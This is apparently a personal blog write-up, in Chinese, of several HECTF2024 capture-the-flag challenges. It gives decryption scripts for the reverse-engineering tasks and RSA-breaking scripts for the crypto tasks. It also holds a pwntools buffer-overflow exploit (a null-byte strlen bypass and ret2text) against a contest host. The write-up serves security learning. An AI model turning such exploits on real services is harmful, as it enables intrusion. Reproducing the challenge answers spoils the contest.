HECTF2024部分wp

Re

littleasm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def decrypt_flag():
key = b"rev"
data = [
0x6a, 0x28, 0x3d, 0x4e, 0x2b, 0x05, 0x63, 0x1e, 0x0d, 0x73,
0x10, 0x1c, 0x73, 0x24, 0x21, 0x73, 0x5e, 0x21, 0x31, 0x5d,
0x21, 0x3f, 0x0c, 0x0d, 0x6d, 0x4c, 0x3
]
data_len = len(data)

flag = [0] * data_len

for i in range(0, data_len, 3):
mod = (i + 2) % 3
flag[i] = (data[i] - 0x2C) ^ key[mod]

if i + 1 < data_len:
mod = (i + 1) % 3
flag[i + 1] = (data[i + 1] - 0x8) ^ key[mod]

if i + 2 < data_len:
mod = i % 3
flag[i + 2] = (data[i + 2] ^ 0xC) ^ key[mod]

return ''.join(chr(c) for c in flag)


if __name__ == "__main__":
flag = decrypt_flag()
print(flag)

babyre

base64变表

异或之后直接比较

1
2
3
4
a=[0x51,0x43,0x54,0x43,0x55,0x42,0x5A,0x76,0x4F,0x46,0x48,0x73,0x5C,0x46,0x7D,0x6B,0x4E,0x50,0x55,0x68,0x51,0x55,0x7D,0x3E,0x45,0x5D,0x43,0x67,0x45,0x3E,0x3B,0x3D,0x47,0x49,0x53,0x20,0x54,0x59,0x43,0x60,0x40,0x5F,0x49,0x7E,0x45,0x38,0x75,0x38,0x47,0x7C,0x25,0x29,0x5A,0x7D,0x59,0x63,0x5F,0x46,0x57,0x38,0x5F,0x42,0x79,0x28]
for i in range(len(a)):
a[i]=a[i]^(i//3)
print(chr(a[i]),end="")

pyre

python反编译,所有exe开头都是4D4E

得到压缩包密码

发现是tea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(int32_t v[2], uint32_t const key[4]) {
int i;
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 1640531527;
uint32_t sum = (-32)*delta;
for (i=0; i <32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);

}
v[0] = v0; v[1] = v1;
}

int main() {
int32_t const k[4] = {0x54434548,0x32303246,0x69617734,0x756f7974};
uint32_t enc[] = {0xdf596194,0x2cfe74d6,0x1355ae4d,0xb6717a87,0xf27bb57b,0x8d436c5,0xc5c8e1af,0xa85bd8f,0x19a70032,0x400cfef4,0xaf02e1fc,0xcdedcfb4};
for(int i=0; i<12; i+=2){
decrypt(&enc[i], k);
}
for (int i = 0; i < 12; i++) {
for (int m = 0; m <= 3; m++) {
printf("%c", (enc[i] >> (8 * m)) & 0xff);
}
}
return 0;
}
//HECTF{58de01fc-af6b-8cf6-e8ca-db5964ce0b1e}

ezAndroid

找到enc.png,rc4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import struct

def rc4_decrypt(key, data):
S = list(range(256))
j = 0

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = 0
j = 0
result = bytearray()

for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
result.append(byte ^ S[t])

return result

def main():
key = b"HECTF"
input_file = "enc.png"
output_file = "right.txt"

with open(input_file, "rb") as f:
encrypted_data = f.read()


decrypted_data = rc4_decrypt(key, encrypted_data)


with open(output_file, "wb") as f:
f.write(decrypted_data)

print(f"解密完成,结果已保存到 {output_file}")

if __name__ == "__main__":
main()

修改后缀得到png

分析CheckActivity

d0func中加载内存并调用func函数,注意内存初始值被修改了

交叉引用找到密文

和51c8异或

后面是标准aes

通过交叉引用51c8找到tea,实际上没用,因为在aes后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
a=[0x58, 0x12, 0x1A,
0x0C, 0x1B,
0x5E, 0x58, 0x40,
0x46, 0x06,
0x0A, 0x26, 0x44,
0x0C, 0x56,
0x48]
b5040=[0x15, 0x10, 0x48,
0x06, 0x19,
0x42, 0x6D, 0x18,
0x12, 0x0F,
0x27, 0x2F, 0x33,
0x1B, 0x50,
0x41]

key='hectf2024'
flag1=''
flag2=''
for i in range(len(a)):
a[i]+=1
flag1+=hex(ord(key[i%len(key)])^a[i])+','
print(flag1)
for i in range(len(b5040)):
b5040[i]+=2
b5040[i]^=0x18
flag2+=hex(ord(key[i%len(key)])^b5040[i])+','
print(flag2)

去除最后一个结束符然后md5

easyreee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
mi=[0x23, 0x21, 0x20,
0x28, 0x25,
0x7E, 0x28, 0x46,
0x52, 0x04,
0x4B, 0x52, 0x4C,
0x03, 0x52,
0x04, 0x48, 0x4F,
0x7B, 0x4F,
0x7D, 0x42, 0x44,
0x04, 0x4F,
0x49, 0x70]
print(len(mi))
# a=[0]*2
# for k in range(0,255):
# for i in range(0,2):
# a[i]=(mi[i]^k)+21
# shift=8
# for i in range(2):
# if a[i]<=64 or a[i] >=90:
# if a[i]>96 and a[i]<=122:
# a[i]=(a[i]-97-shift)%26+97
# shift+=1
# else:
# a[i] = (a[i] - 65 - shift) % 26 + 65
# shift += 1
# if a[0]==ord('H') and a[1]==ord('E'):
# print(k)
# k=24
shift=8
flag=''
for i in range(len(mi)):
mi[i]=(mi[i]^0x18)+21
if mi[i]<=64 or mi[i] >=90:
if mi[i]>96 and mi[i]<=122:
mi[i]=(mi[i]-97-shift)%26+97
shift+=1
else:
mi[i] = (mi[i] - 65 - shift) % 26 + 65
shift += 1
flag+=chr(mi[i])
print(flag)
#HECTF{Re_1s_s0_1nterest1ng}

Pwn

signin

用\x00绕过strlen,然后ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

filename='./pwn'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('8.153.107.216',30418)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

from struct import pack


back=0x401285
payload=b'a'*7+b'\x00'+b'a'*0xe+p64(back)
#debug()
sla("please sign in!!!!",payload)
sa("Enter your key",b'HECTF2024q')
inter()

Crypto

艾米莉

维吉尼亚responsibility作为密钥+栅栏

seven_more

phi是e的倍数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.Util.number import *
import os
from gmpy2 import *

def getMyPrime(nbits, multiplier):
while True:
n = 2 * multiplier * getPrime(nbits // 2) * getPrime(nbits // 2)
if is_prime(n + 1):
return n + 1

def generate_keys(nbits):
p = getMyPrime(nbits, 1009 * 7)
q = getMyPrime(nbits, 1009)
n = p * q
e = 1009 * 7
return p, q, n, e

p, q, n, e = generate_keys(700)

flag = b'HECTF{######}' + os.urandom(101)
m = bytes_to_long(flag)
assert m.bit_length() < n.bit_length()
assert m.bit_length() > q.bit_length()
assert m.bit_length() > p.bit_length()
c = pow(m, e, n)

print(f"n = {n}")
print(f"c = {c}")
print(f"p = {p}")
print(f"q = {q}")

#n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
#c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
#p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
#q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
from Crypto.Util.number import *
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
e=1009*7

P.<a> = PolynomialRing(Zmod(p),implementation='NTL')
f = a^e - c
mps = f.monic().roots(multiplicities = False)
print(mps)

P.<a> = PolynomialRing(Zmod(q),implementation='NTL')
f = a^e - c
mqs = f.monic().roots(multiplicities = False)

for i in mps:
for j in mqs:
m = crt([int(i),int(j)],[p,q])
flag = long_to_bytes(m)
if b'HECTF' in flag:
print(flag)

爆破大约半小时就能出

翻一翻

p是q的10进制翻转,找到文章

https://kt.gy/blog/2015/10/asis-2015-finals-rsasr/

先得到pq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993

def t(a, b, k):
# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
if k == 77:
if a*b == n:
print(a, b)
return
for i in range(10):
for j in range(10):
# we try to guess the last not-already-guessed digits of both primes
a1 = a + i*(10**k) + j*(10**(154-k))
b1 = b + j*(10**k) + i*(10**(154-k))
if a1*b1 > n:
# a1 and b1 are too large
continue
if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
# a1 and b1 are too small
continue
if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
# The last digits of a1*b1 (which won't change later) doesn't match n
continue
# this a1 and b1 seem to be a possible match, try to guess remaining digits
t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in range(10):
t(i*(10**77), i*(10**77), 0)

后面标准rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
import base64
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
# p=39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
# q=10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
p=10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
q=39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, p*q)
a=long_to_bytes(m)
print(base64.b64decode(a))

HECTF2024部分wp
https://j1ya-22.github.io/2024/12/12/HECTF2024/
作者
j1ya
发布于
2024年12月12日
许可协议